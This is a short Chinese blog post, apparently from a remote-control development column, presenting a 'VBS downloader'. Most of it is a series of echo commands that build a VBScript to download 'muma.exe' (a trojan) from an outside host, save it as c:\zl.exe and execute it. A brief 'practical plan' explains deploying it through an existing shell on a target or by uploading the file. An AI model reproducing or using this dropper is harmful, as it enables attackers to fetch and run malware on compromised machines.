vbs 下载者

信安成长日记

于 2021-11-23 19:30:50 发布

阅读量1k

点赞数

CC 4.0 BY-SA版权

分类专栏：远控开发文章标签：安全 golang 开发语言

本文链接：https://blog.youkuaiyun.com/SHELLCODE_8BIT/article/details/121500742

远控开发专栏收录该内容

2 篇文章

订阅专栏

该内容描述了一段VBScript代码，它创建并运行一个脚本来从'http://www.jbzj.com/muma.exe'下载文件，并将其保存为'zl.exe'，随后执行该exe文件。这可能涉及到潜在的恶意软件活动，如自动下载和执行未知程序。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

echo Set Post = CreateObject("Msxml2.XMLHTTP") >>zl.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>zl.vbs
echo Post.Open "GET","http://www.jbzj.com/muma.exe",0 >>zl.vbs
echo Post.Send() >>zl.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>zl.vbs
echo aGet.Mode = 3 >>zl.vbs
echo aGet.Type = 1 >>zl.vbs
echo aGet.Open() >>zl.vbs
echo aGet.Write(Post.responseBody) >>zl.vbs
echo aGet.SaveToFile "c:\zl.exe",2 >>zl.vbs
echo wscript.sleep 1000 >>zl.vbs
echo Shell.Run ("c:\zl.exe") >>zl.vbs

实战方案：

1.可以直接在目标存在shell的情况直接写入

2.将echo的文件上上传